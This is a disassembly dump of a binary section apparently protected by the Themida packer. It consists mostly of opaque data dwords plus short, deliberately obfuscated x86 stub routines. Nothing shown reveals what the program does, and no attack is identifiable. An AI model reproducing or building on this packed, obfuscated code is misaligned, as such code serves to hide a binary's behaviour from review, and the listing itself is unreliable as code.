dd 0FD25E7A1h, 0FD252102h, 0FD25C3E3h, 0FD25B2CCh, 0FD250988h
dd 0FD2555DCh, 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch
dd 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h
dd 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A25AC976h
dd 0A25B7A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h
dd 701ABC75h, 0FC1036F0h, 62FFA67Dh, 70729613h, 0FC10B5F0h
dd 0A2FF6C7Dh, 7072F313h, 0FC10C5F0h, 66FF357Dh, 70725F13h
dd 0FC1033F0h, 9EFF1E7Dh, 7072CA13h, 0FC133EF0h, 9AFF7B7Dh
dd 70727813h, 0FC12C5F0h, 96FFD77Dh, 70722E13h, 0FC121CF0h
dd 92FF427Dh, 7072E413h, 0FC1253F0h, 8EFFF07Dh, 7072BD13h
dd 0FC12A2F0h, 82FFA67Dh, 70729613h, 0FC1203F0h, 8AFF6C7Dh
dd 7072F313h, 0FC129EF0h, 86FF357Dh, 70725F13h, 0FC12D3F0h
dd 82FF1E7Dh, 7072CA13h, 0FC13D3F0h, 72FF7B7Dh, 70727813h
dd 0FC13E9F0h, 6EFFD77Dh, 70722E13h, 0FC13EFF0h, 6AFF427Dh
dd 7072E413h, 0FC1333F0h, 7EFFF07Dh, 7072BD13h, 0FC13A6F0h
dd 7AFFA67Dh, 70729613h, 0FC1058F0h, 76FF6C7Dh, 7672F313h
dd 76788F0h, 25FF3572h, 76725F13h, 76C06F0h, 21FF1E72h
dd 9C72CA13h, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0F57BDB99h
dd 0F53FD525h, 9BADADFDh, 34229F74h, 0AC7ACFB7h, 0AD29B723h
dd 0FD7A1A20h, 7C277975h, 0FC12B198h, 0A3FFA07Dh, 7D722E13h
dd 0FC1CC9C8h, 0B409CF7Dh, 4B75E4C5h, 89BAF9B5h, 21EF8635h
dd 0BD72BD13h, 452B96FEh, 0FD7A2F7Ah, 9BA6028Ah, 48F7C374h
dd 0F57B832Ah, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h
dd 9BA6BA8Ah, 48F79F74h, 0F57BAD2Ah, 50FCD1F8h, 1F23228Ah
dd 0A3F787BCh, 0A072BD13h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h
dd 5779C1CDh, 9BA2708Ah, 3ED1FA74h, 0FD78079Dh, 9BC2DA75h
dd 9B5954CDh, 25EFD0DEh, 9B729613h, 959208DEh, 0B7AE577h
dd 8872F336h, 25EF866Eh, 4D72BD13h, 0AD7954C5h, 9BA2BA8Ah
dd 9B209F74h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h
dd 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h
dd 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh
dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h
dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h
dd 4DBA07F5h, 6885B5FFh, 0F57B94ADh, 0FD5F1F2Fh, 3F71DA51h
dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h
dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh
dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h
dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h
dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh
dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 21EF0D75h
dd 70727813h, 0FC1C1FC0h, 518A5D7Dh, 2D02C7Fh, 0FC1C4FE0h
dd 0E592087Dh, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah
dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh
dd 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h
dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h
dd 592438Ah, 4D7A5E75h, 5779252Dh, 0A8FF69B6h, 7D72CA13h
dd 0FC1CB0C8h, 0EC0FF37Dh, 9BBDFCF8h, 152AB474h, 0FD7A5C61h
dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah
dd 0A8F787DFh, 7D72BD13h, 0FC1C0BC8h, 0F10F2F7Dh, 9BBD12F8h
dd 152AC374h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0F57BDAA9h
dd 965EC3F8h, 0F9F02774h, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh
dd 3AF1A875h, 15F9BB5Eh, 3E783571h, 9BA2CB8Ah
dd 4ACE2774h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h
dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 25EF68B6h
dd 7D72CA13h, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah
dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 9BA6708Ah
dd 60F7FA74h, 0F57B1FCEh, 3E39A0F8h, 0FD7A4ECDh, 21EFD075h
dd 7E729613h, 35F1CEB5h, 25EF1A89h, 5772F313h, 15B98E97h
dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h
dd 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h
dd 0F57B4441h, 7D86EAFCh, 0FC1C1CCFh, 7975E57Dh, 0FD7AF2ECh
dd 0FD7A73CDh, 21E84375h, 0BD725F13h, 9B9AADFCh, 35F19F74h
dd 917279F8h, 6F85ED74h, 0F57B94ADh, 1F3C7FFDh, 0FD6D0480h
dd 7F795E75h, 0F57B4995h, 1E01A35h, 7E72CA1Eh, 0FEF3E1B6h
dd 0FD644B22h, 77797975h, 0F57BDA95h, 9690ECF8h, 59892774h
dd 0FD722F2Bh, 6F85CB75h, 0F57B83A9h, 897E0AF6h, 447C7185h
dd 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h
dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h
dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h
dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h
dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h
dd 151AB2FEh, 0FD7A2F75h, 0E690162Fh, 7072CA19h, 0FC1C01CFh
dd 0F50F797Dh, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 19E7A226h
dd 7D729613h, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h
dd 0FD7ABC9Dh, 17FB0475h, 0F57B4321h, 9B9E25F8h, 80F1C374h
dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0F57B3891h
dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 9B9E58F8h, 0C2FBFA74h
dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh
dd 40F7ABB6h, 0F57B8391h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h
dd 3DF19D14h, 78F7EFFEh, 0F57BF184h, 0CA8BD08Ah, 0E2870CEBh
dd 62DD4FC1h, 2D2F24F8h, 41E9BB7Dh, 0E9000006h, 635h, 0D40A9482h
dd 7DB3EB27h, 235945D0h, 0CF059976h, 79AFEF22h, 6AA79045h
dd 0C351FE34h, 18F8A5DBh, 70A35086h, 0D129F82Eh, 0E7EF52B5h
dd 631A8007h, 0A7326CA7h, 45D0CE42h, 0DF6A34E0h, 7C07977Ah
dd 633BD72Ch, 5C09AFD8h, 0E5EE9B5h, 0BA4559B9h, 0D13EEB91h
dd 38DD42CDh, 27E70F55h, 0CD38B2ECh, 2DB8216Bh, 1E434AC8h
dd 0C417611Fh, 627F0E5Ah, 672F4FE8h, 416AF5A9h, 8ADF6FD8h
dd 638C1787h, 0B0DA2ABDh, 201B62D8h, 6DCE7400h, 5FB4441Ch
dd 3760EBB3h, 79B9F991h, 43AFEF24h, 0FFE6F9E0h, 9307AD06h
dd 7E865F1h, 801EF146h, 0AD3891DAh, 9BD1CD48h, 0EC7727EEh
dd 0AB9A5DC0h, 0ABF31F4Fh, 4955BB20h, 722C65BEh, 3EF831CAh
dd 0ADE3BB5Ah, 93233D4Ch, 8D11FE53h, 0A6DD902h, 384FA96Ah
dd 61A139DFh, 1A9CD737h, 0DF852831h, 0AA8DCD6Bh, 10A0F957h
dd 0BF4A54BBh, 7EE7B75Ah, 0BC623CD9h, 524CC429h, 0C1A16F1Ch
dd 9D011151h, 1780E912h, 0C1DD3287h, 4B930D36h, 0F0D28EB3h
dd 0C1ED8026h, 74A42ADFh, 0FF1B5BABh, 6B1FAA9Ch, 0CEA360CAh
dd 0FD54A9E6h, 0B36DEE94h, 19858FE4h, 12BF658Eh, 96AA0FEh
dd 1050E080h, 0B9445ABBh, 0C476EA90h, 43731A65h, 385423EEh
dd 6CAA5FD5h, 9339A2FBh, 0C61F14Ah, 0E60F9A04h, 1A81AD40h
dd 246CAA5Fh, 0AAE2E9A3h, 48A5386Bh, 7, 3AB6DD9h, 0A7060000h
dd 7BA53569h, 0C9933A50h, 0DEA31DEFh, 0B61F2156h, 0D53ACD73h
dd 81D35E40h, 56BA9E58h, 0AFA20521h, 77D0FFE6h, 0EB297E0Eh
dd 22CF0DB3h, 9425B0EEh, 0CCD24137h, 2D35DC41h, 32CB7E7h
dd 0C2F30F9Ah, 0BC356008h, 0ACF21E02h, 2D4AC71Ch, 0E6AFAE11h
dd 127BD4FFh, 41962E6Ch, 7C29CFCFh, 157A0599h, 8719A4FAh
dd 55C0A45Eh, 0F9A040Dh, 0AD006CE6h, 0A2BE4E43h, 688F0339h
dd 0B263C53Eh, 71093F5Fh, 0CB828847h, 0BE649C10h, 109B0311h
dd 0AA3569ABh, 7A5E1851h, 0E7CE049Ah, 0F1h, 0AB67BC80h
dd 0DBC34EF3h, 0B1BBD435h, 4C52C126h, 0E1AC6916h, 0BD0384C0h
dd 1DA811B7h, 0E6B18EF1h, 8EE323FFh, 0F6771D81h, 0E1BD583Ch
dd 4C16FEABh, 2750DBC3h, 8EE333BEh, 68911C82h, 0B159BCD8h
dd 2E87FFE6h, 6638DB88h, 3859ACD6h, 0D380A69Ch, 0E77A54B7h
dd 0C02982FFh, 0DE2E871Ah, 6C128C89h, 0C74D31EBh, 21F247D7h
dd 24C9F27Dh, 0FF28B3EBh, 2E831B59h, 62FBAE4h, 3D61B360h
dd 0DAC44DB2h, 0B3A204Ah, 3E84B67h, 0B50EFFE7h, 0FFB9E73Bh
dd 0D8018C12h, 0A436C96Fh, 37DDC17Bh, 8D843167h, 25418111h
dd 0FFE6B3C2h, 0F15470F0h, 1FFFE6B2h, 24B75DC6h, 0CD0E3593h
dd 0E8044413h, 0FFE6B385h, 0FFAC52ABh, 0A7FC8C12h, 46AB3668h
dd 1C45D0CEh, 22CF0DB3h, 0DB3489EEh, 0A30F38C3h, 0FFE6B340h
dd 19A40D66h, 0E6B387EDh, 0AB6596FFh, 1F5549C7h, 607CBC68h
dd 0FFE682FDh, 3950CA23h, 0E2AE7C22h, 61AF5C02h, 0C34DB23Dh
dd 0DC3598B4h, 0F15BFFE6h, 0D6DD1B9Ah, 58C12AC4h, 0F3AB68CDh
dd 8C120368h, 3295B101h, 60FFE6BEh, 7B356E07h, 8C4677D3h
dd 0B6FE93BDh, 46F1F241h, 0EB379AB6h, 45DFFE6h, 3F5FB15Eh
dd 0E8B65AAFh, 508E345Dh, 0E6F052DCh, 256028FFh, 0C53874F7h
dd 0FFFFFEA5h, 0B996F356h, 563459F1h, 0B141AAE0h, 0E0F02B95h
dd 0D35EB707h, 0C3F9A56Eh, 6539D62Bh, 9D0112BFh, 62AD12h
dd 9B268F0Fh, 804F0942h, 2FBAE42Bh, 60B36006h, 0B85B083Eh
dd 0C92F5BE6h, 0DA07E0C3h, 80BEFA9h, 88C86096h, 0E0C3096Ch
dd 38DE3707h, 8B16888Bh, 9BE7113Bh, 0F067D82Ah, 83137C22h
dd 0E1610467h, 33D93207h, 19A9B7D2h, 0DB794BFDh, 88BE170Fh
dd 6EFE6227h, 1DA8F619h, 76B64EF4h, 4CB71A36h, 48DDFFE7h
dd 0C369D2CCh, 0E8B8B54Fh, 0ED78D107h, 0E0168888h, 36C1DD33h
dd 0AC25A70Ah, 0F7A7694Fh, 940A076Ch, 0D48EB709h, 305A9A2Ch
dd 0B6B1B46Eh, 0E3640A8Eh, 0D3CB4529h, 7A24F09Dh, 18868AEFh
dd 0C92C4888h, 0F74FA888h, 4065F89Eh, 0F63605BFh, 0A88877DAh
dd 11D9D4Fh, 4FA8889Eh, 5D026BC4h, 325BE6B8h, 9484BC8Ch
dd 166B8836h, 18F99FFFh, 0B9h, 336BA7A9h, 0A29E79A3h, 63B20FE1h
dd 0BDE77FBDh, 0BB3029EDh, 5A950F45h, 1D0B9DA6h, 90CB95Fh
dd 5DB25F95h, 5571B141h, 0FFE715F2h, 0E321C720h, 8DC3DB36h
dd 0E03131E0h, 7A0A33BEh, 0E715FB5Eh, 67D029FFh, 0E908431h
dd 0BF223E7Eh, 81FFE716h, 70C90A94h, 31DF8CCAh, 898A376Dh
dd 0DF32DF15h, 55AD34BFh, 0E48A1400h, 66D70151h, 4E71A91Fh
dd 0E2B58EB4h, 5D380968h, 314EB1CDh, 1B74FFE7h, 534BC875h
dd 530D36C8h, 76D9F54Dh, 9CFFE731h, 319D001Ch, 6AC3FFE7h
dd 0A9FCCB01h, 670Ah, 0C8F4A300h, 0FFE68368h, 29B4EA2Ah
dd 0C24D51C4h, 0A54D0730h, 4F0AAD3h, 336BA75Dh, 0D9C550FDh
dd 8519F6A3h, 1E6FA24Fh, 0E4E3F0Bh, 0C3F9624Ah, 6DA3FB16h
dd 0C9280D5h, 5B25881h, 0C1598F0Fh, 70FBA36Ch, 2E97070Bh
dd 4235DB88h, 0E743C326h, 2F98F1FFh, 0D8C64A9Fh, 407E244Dh
dd 0E81E8093h, 301h, 5CBB9A00h, 0A42F6FA7h, 3FCAD43Fh
dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch
dd 0E9742AEBh, 85108E84h, 404D6852h, 0C890000h, 6D8A6824h
dd 34890000h, 0E0895024h, 405h, 42D00h
dd 4870000h, 14895C24h, 0AB95124h, 0BE22410Ch, 0E5C060D1h
dd 2546EE81h, 0CE0170FFh, 2546C681h, 685970FFh, 590Ch
dd 81242489h, 42404h, 505A0000h, 601BB53h, 9B8533Ah, 31533A06h
dd 0D0015BD8h, 8B583089h
; ---------------------------------------------------------------------------
adc al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
dd 0BF98C03Ch, 727CB830h, 0C5030801h, 14E8D38Bh, 42000000h
dd 81624F0Eh, 68F62FD6h, 2FC8FEB0h, 0DF530368h, 80B3F489h
dd 0F5A1BDCh, 98Dh, 38C0F00h, 0F000000h, 0C281FEBFh, 7182h
dd 11E9h, 0E1663E00h, 8176B48Fh, 67EEF362h, 7663E2A8h
dd 68E376h, 60000000h, 0ED11CB8h, 0CE823h, 72310000h, 6622233Dh
dd 16CCCDDDh, 810FBE96h, 0
; ---------------------------------------------------------------------------
pop ecx
popa
pop esi
jnp loc_5FA7D0
sbb cl, 38h
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_5FA7D0: ; CODE XREF: Themida_:005FA7C7j
; sub_5FA83B+7j
mov ebx, [edx+esi]
pusha
cld
stc
popa
add ebx, 1ACA5182h
mov ah, bl
xor ebx, 0D9F512Eh
pusha
cld
popa
add ebx, 46EC999Ah
push ebx
mov ax, dx
pop dword ptr [edx+esi]
mov ecx, ebx
cld
sub esi, 3
mov ecx, ebx
dec esi
jle loc_5FA80A
sub edi, 538A0CA8h
loc_5FA80A: ; CODE XREF: sub_5FA83B-3Dj
cmp esi, 0FFFF8F68h
jnz loc_5FA82C
mov ax, 0D699h
jmp loc_5FA84D
; END OF FUNCTION CHUNK FOR sub_5FA83B
; ---------------------------------------------------------------------------
db 51h
dd 0B168CD21h, 0EF50BC0Eh, 0CA262E56h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_5FA82C: ; CODE XREF: sub_5FA83B-2Bj
call sub_5FA83B
jp short near ptr byte_5FA879
sub [eax+4525CFC9h], esi
jg short loc_5FA869
; END OF FUNCTION CHUNK FOR sub_5FA83B
; =============== S U B R O U T I N E =======================================
sub_5FA83B proc near ; CODE XREF: sub_5FA83B:loc_5FA82Cp
; FUNCTION CHUNK AT 005FA7D0 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005FA82C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005FA84D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005FCD00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005FCD2F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00600F1B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00600F4E SIZE 00000021 BYTES
sub eax, 2C7874E7h
pop eax
jmp loc_5FA7D0
sub_5FA83B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push esp
and eax, 0D16931BCh
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_5FA84D: ; CODE XREF: sub_5FA83B-21j
lea ebx, [ebp+7FA262Dh]
mov eax, 2490h
mov [ebp+7FA0D81h], eax
call $+5
pop eax
add eax, 0Dh
loc_5FA869: ; CODE XREF: sub_5FA83B-2j
mov [ebx], eax
jmp loc_5FCD00
; END OF FUNCTION CHUNK FOR sub_5FA83B
; ---------------------------------------------------------------------------
dd 2 dup(0)
db 0
byte_5FA879 db 3 dup(0) ; CODE XREF: sub_5FA83B-Aj
dd 921h dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_5FCD00: ; CODE XREF: sub_5FA83B+30j
jmp loc_5FCD2F
; END OF FUNCTION CHUNK FOR sub_5FA83B
; ---------------------------------------------------------------------------
mov dword ptr [esp], 0
call $+5
pop ebp
sub ebp, 80198D0h
mov eax, [esp+4]
mov [ebp+7FA212Dh], eax
mov eax, 0
lea ecx, [ebp+7FA4F66h]
jmp ecx
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5FA83B
loc_5FCD2F: ; CODE XREF: sub_5FA83B:loc_5FCD00j
mov eax, 6754h
jmp loc_600F1B
; END OF FUNCTION CHUNK FOR sub_5FA83B
; ---------------------------------------------------------------------------
db 9Fh, 77h, 27h
dd 0D0CE44F1h, 7628ED9Ah, 227C9340h, 0CCD23FECh, 0C6AD6296h
dd 701D534Bh, 17C4FAA4h, 0C26FA5F9h, 48174D51h, 1B71D4F0h
dd 399F07E8h, 0AD67BC82h, 0FE864BF1h, 0EF0B6CA9h, 0FFE6838Ch
dd 52F861BAh, 326CA79Bh, 0A752C183h, 83C92F6Ch, 9CF5FFE6h
dd 55ADAEDh, 0DE07920Ch, 1F7B8138h, 0D3771E1Fh, 0FA204A19h
dd 0AED33D5Fh, 187B9727h, 3EFFE6A8h, 0BC883FE5h, 4CF2AC67h
dd 0C303749Fh, 0E68344A7h, 0AB0872FFh, 0C404EEA8h, 0D549EF58h
dd 0FFE6BD6Fh, 0BC93429Bh, 0AFEC792h, 781E8ECAh, 7CBC8C33h
dd 0E682FD60h, 50CA23FFh, 103F68FCh, 11BE6436h, 0C1EF9E00h
dd 0FA68A752h, 6C1B841Ah, 0FD607CBCh, 23FFE682h, 229124CAh
dd 0E55C860Eh, 2F6E28F1h, 0AA138B86h, 0EF62AC30h, 0FFA5B751h
dd 2B19D348h, 83326CA7h, 6CA73BDAh, 0D878A232h, 87861B28h
dd 0BC7D34DAh, 6BF6A867h, 83229C42h, 19D35AB9h, 326CA72Bh
dd 0E0680F83h, 0FFE6F346h, 326CA7EEh, 0A75F1683h, 1683326Ch
dd 0F86AA75Fh, 0DBF78717h, 0FFE68378h, 2DDC459Eh, 0F3AB67BCh
dd 779A3F68h, 9EEE8127h, 83DF425Eh, 0AC05FFE6h, 69A74F06h
dd 0E683CC32h, 0F2A1FAFFh, 6AA73BDAh, 0E683CB31h, 0EF9EF7FFh
dd 68A7680Fh, 92BC8736h, 5CA80865h, 770AB0E1h, 5D41D227h
dd 4C03A9D2h, 300C1CE0h, 860EDC77h, 83C72A46h, 8C89FFE6h
dd 1D5E8712h, 0BC671EC4h, 0F7ADDF92h, 6B07811Dh, 9819BF83h
dd 6BA7F0DEh, 0D1298E22h, 0CC3526E1h, 0E052C11Dh, 22DA06ABh
dd 0BC670E4Bh, 6AF5A967h, 601A9B41h, 316DA772h, 0B3C44CA1h
dd 0E6833497h, 0A00962FFh, 71C143FAh, 1CA7F71Ch, 0A7964DF3h
dd 0C182316Dh, 0D3670E52h, 6AA72B19h, 67BC8534h, 1250F6A8h
dd 3569A75Bh, 3171C186h, 0E683B215h, 0E187E0FFh, 3569A72Ah
dd 2277BF86h, 530AB0EEh, 0E4A967BCh, 0BEAE8A7h, 50F65FEAh
dd 9C2C72A3h, 0E3DD405Ch, 0AA03FFE6h, 0E39BFE1Ah, 70C9FFE6h
dd 58BF13CAh, 19D386EDh, 3569A72Bh, 0A74BAA86h, 0EEE40E69h
dd 3D6631EFh, 36147793h, 0E942FFE7h, 66DA80h, 0DFFFE736h
dd 0AD0D6AB5h, 18BEC46Ah, 0C6D83ACFh, 9778CD5Dh, 0DAAA6107h
dd 3F11305Ah, 0C1736D54h, 20ABF31Ch, 7B9A51F7h, 961E1E1Eh
dd 83D73A56h, 0A4FDFFE6h, 19D347FEh, 0E69A72Bh, 0BD4856B9h
dd 147AEE94h, 42FFE683h, 0C12F59E9h, 6EA30477h, 0F9A51F7h
dd 1A1A7B68h, 863569A7h, 69A7680Fh, 3BDA8635h, 0F1AD67BCh
dd 0EA973D66h, 0DAC5742Ah, 52A7EF3Bh, 7E35DBC3h, 0A72B19D3h
dd 0F863569h, 3569A768h, 547E1686h, 8D570514h, 843BE163h
dd 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 5F43F12Bh, 1838C486h
dd 96080AAFh, 0D1CD43F0h, 0BC52C122h, 0A6FA6392h, 0D57BF227h
dd 4B3EB28h, 6AA752C1h, 58BF8534h, 863569A7h, 6AA74BAAh
dd 0AE7AA434h, 68C0F13Dh, 0FE6737D8h, 3BDAA158h, 0F94E2F7Bh
dd 0CFF8831Bh, 6EA77229h, 0CF40A530h, 0BF0044CFh, 63F35D05h
dd 0A8C010Eh, 0A9A24D9Bh, 0D9028DF6h, 19D37C33h, 326CA72Bh
dd 277CBC83h, 0E144B0EEh, 0FFFE682h, 3AD210B6h, 0FDAFBA10h
dd 0FF1B74EEh, 0FFE76E9Ch, 8E0871CAh, 0A8B46B71h, 9F56FCE2h
dd 863569A7h, 0FFE052C1h, 0D6FFE6F9h, 7FE8F81h, 25044AE9h
dd 3B64EF58h, 89F0DE95h, 0BC2B19D3h, 0B25A6F92h, 0FBF737Ch
dd 0C1E96332h, 0C26F158Fh, 16A1504Eh, 1B92BC5Fh, 0FDF35EDAh
dd 1FF4A147h, 71C1D07Fh, 83B21531h, 87E0FFE6h, 68A72AE1h
dd 0BE51A636h, 0C4DA3BE0h, 0B36A1039h, 6AA752C1h, 0CD44A934h
dd 0B4ED46D1h, 9BAF41FAh, 0C75073F2h, 0D379205Eh, 9DF32B19h
dd 2B19D37Dh, 863569A7h, 0FD607CBCh, 23FFE682h, 0AEF025CAh
dd 0A713CA08h, 0C183326Ch, 2E6DA752h, 0FFE683C8h, 0BCEE9DF6h
dd 82FD607Ch, 0CA23FFE6h, 0A70BAA24h, 0DA863569h, 920C055Ah
dd 8138DE07h, 19D333E2h, 3668A72Bh, 0AC67BC87h, 983E67F2h
dd 0B260B505h, 0A78F46ECh, 83C92F6Ch, 9CF5FFE6h, 0AD92BCEDh
dd 288F0ECh, 1DBC36DCh, 0FD607CBCh, 23FFE682h, 9C7724CAh
dd 0E68399FFh, 0A44C76FFh, 0D105E72Ch, 116AB359h, 0A7680F62h
dd 0BC83326Ch, 17B3D492h, 38DE938Ah, 6CA743FAh, 3BDA8332h
dd 0F0AE67BCh, 46EE0376h, 0DC82682Eh, 0C4A9A903h, 0AFCC4A74h
dd 401FEC0Fh, 19D3E39Ah, 326CA72Bh, 80D62A2h, 76E20B96h
dd 0FFE68313h, 42A5C141h, 70FFE683h, 5108AE17h, 0F5A967BCh
dd 0F3630A4Fh, 0BF729C9Dh, 3B2C0271h, 0D323DA80h, 6CA72B19h
dd 5F168332h, 0B4AE67BCh, 8FB8435Bh, 3CD38026h, 67BCB362h
dd 4069F4AAh, 833194B0h, 65FFFE6h, 0A75ECD60h, 0C1873668h
dd 20207B52h, 7CBC2AC9h, 0E682FD60h, 24CA23FFh, 0BCFBE9A3h
dd 6BF6A867h, 20EF9C42h, 0FED22D57h, 9B784715h, 0E771CC2Fh
dd 247A96FFh, 0D62F7099h, 5F16BE6Dh, 0F6A867BCh, 0A4F4DC50h
dd 0A784FFE6h, 16873668h, 0B6E8297Eh, 9DF35910h, 0A967BC7Dh
dd 9B416AF5h, 0CE7D21EEh, 6BA758BFh, 77BF8433h, 26B1ED22h
dd 82A057FDh, 784B0832h, 4FF2FB8Eh, 7AE437D5h, 9036D6E2h
dd 4A19D3D9h, 42D0FF20h, 4AF0259Ch, 0AB67BC93h, 0FC1868F3h
dd 0FFE68399h, 5F056EC7h, 0B1415DB2h, 5FEAB45Ch, 0AAD99036h
dd 1D92BC4Bh, 0E93D609Ch, 0B06AEB91h, 0F86AA7C2h, 0D0F9841Ah
dd 7CBCB867h, 46B2EC27h, 0FFE682E3h, 0FE13B811h, 46EC15A0h
dd 6EA744B3h, 1140CE1Fh, 268F4F3Bh, 0D73A5696h, 0FDFFE748h
dd 67F2AC68h, 782FD53Eh, 0F2AC67BCh, 3983E67h, 3668A79Ch
dd 0DDC151A6h, 4BAA8037h, 0A63668A7h, 9BB7C051h, 0FFE68338h
dd 0F69C055Eh, 0E052C13Fh, 0FFE6836Dh, 796FFA24h, 0E74C93B2h
dd 5BBA8A41h, 0A72B19D3h, 16873668h, 0AB67BC5Fh, 993F68F3h
dd 0D73D25ECh, 8ECE5EC7h, 57C3DB39h, 0FFE682F4h, 6C23C922h
dd 0E8297E16h, 5C022BB6h, 3668A7A5h, 0A75F1687h, 0C183326Ch
dd 336BA752h, 0E44763A3h, 12FFE682h, 0BC5C13B9h, 4CF2AC67h
dd 0FE1469B9h, 267CE38Fh, 82EB5797h, 7128CEF7h, 83326CA7h
dd 0F5A967BCh, 0A74DBC4Fh, 0C185346Ah, 0D389F052h, 6CA72B19h
dd 92BC8332h, 0F33A2F0h, 7FBD6353h, 326CA7C8h, 9DC54DA2h
dd 769F2A74h, 0C1B0670Dh, 0F892BC52h, 6D723B2Eh, 6620839Fh
dd 0ED46FFE7h, 0A805DE84h, 0D37221A8h, 6CA72B19h, 5F168332h
dd 84336BA7h, 5C4771C1h, 1C449F53h, 7B3BF298h, 69A71D1Dh
dd 0CE45AA35h, 0F82945D0h, 0E4BA5A3Eh, 9CC73059h, 9A77CC0Ch
dd 0E4507904h, 0FFE68381h, 0F9B056AFh, 0FD607CBCh, 23FFE682h
dd 870650CAh, 86EC3249h, 0B7A55FE0h, 84336BA7h, 223E7E16h
dd 0FFE683BFh, 25837BE5h, 7DF429C6h, 0A7B76E14h, 8DF00C6Bh
dd 7AFFE683h, 67929E4Fh, 217ABB3Ch, 5F1609B8h, 83326CA7h
dd 0F6A867BCh, 0E04EBD50h, 0FFE691C6h, 2363B36Eh, 0E683A407h
dd 0D379D2FFh, 2B19D31Ch, 83326CA7h, 67BC5F16h, 4DB0CCABh
dd 73FFE683h, 5E0BB11Ah, 459E9B5h, 30E78D11h, 0ACE052C1h
dd 4CA84536h, 0AB3668A7h, 4AD5C946h, 56FEB8F1h, 19D37118h
dd 346AA72Bh, 0A752C185h, 83C92F6Ch, 60F5FFE6h, 0F282EBB3h
dd 833396B2h, 0CC61FFE6h, 0A6CF5A44h, 0BCE0973Dh, 68F3AB67h
dd 9F1F993Fh, 83E0435Fh, 0AD06FFE6h, 6AA75007h, 0E683CB31h
dd 0EF9EF7FFh, 64305ADAh, 0CD52A70Ah, 48100595h, 81EAF296h
dd 0D72B9407h, 0D97FA42Bh, 0D3086F22h, 67BC2B19h, 416AF5A9h
dd 7625EE9Bh, 0FFE68310h
dd 0BC36E53Eh, 4AF0AE67h, 0E9287D05h, 87012AB5h, 56C9BC86h
dd 4D04AA9Ah, 83326CA7h, 6CA75F16h, 7CBC8332h, 0E682FD60h
dd 50CA23FFh, 3EE2CF9Fh, 0AEEC92C5h, 4E50C116h, 0E88FF1A8h
dd 85F4E88Fh, 0E6837DE0h, 5BBA35FFh, 9F2B19D3h, 306EA7F8h
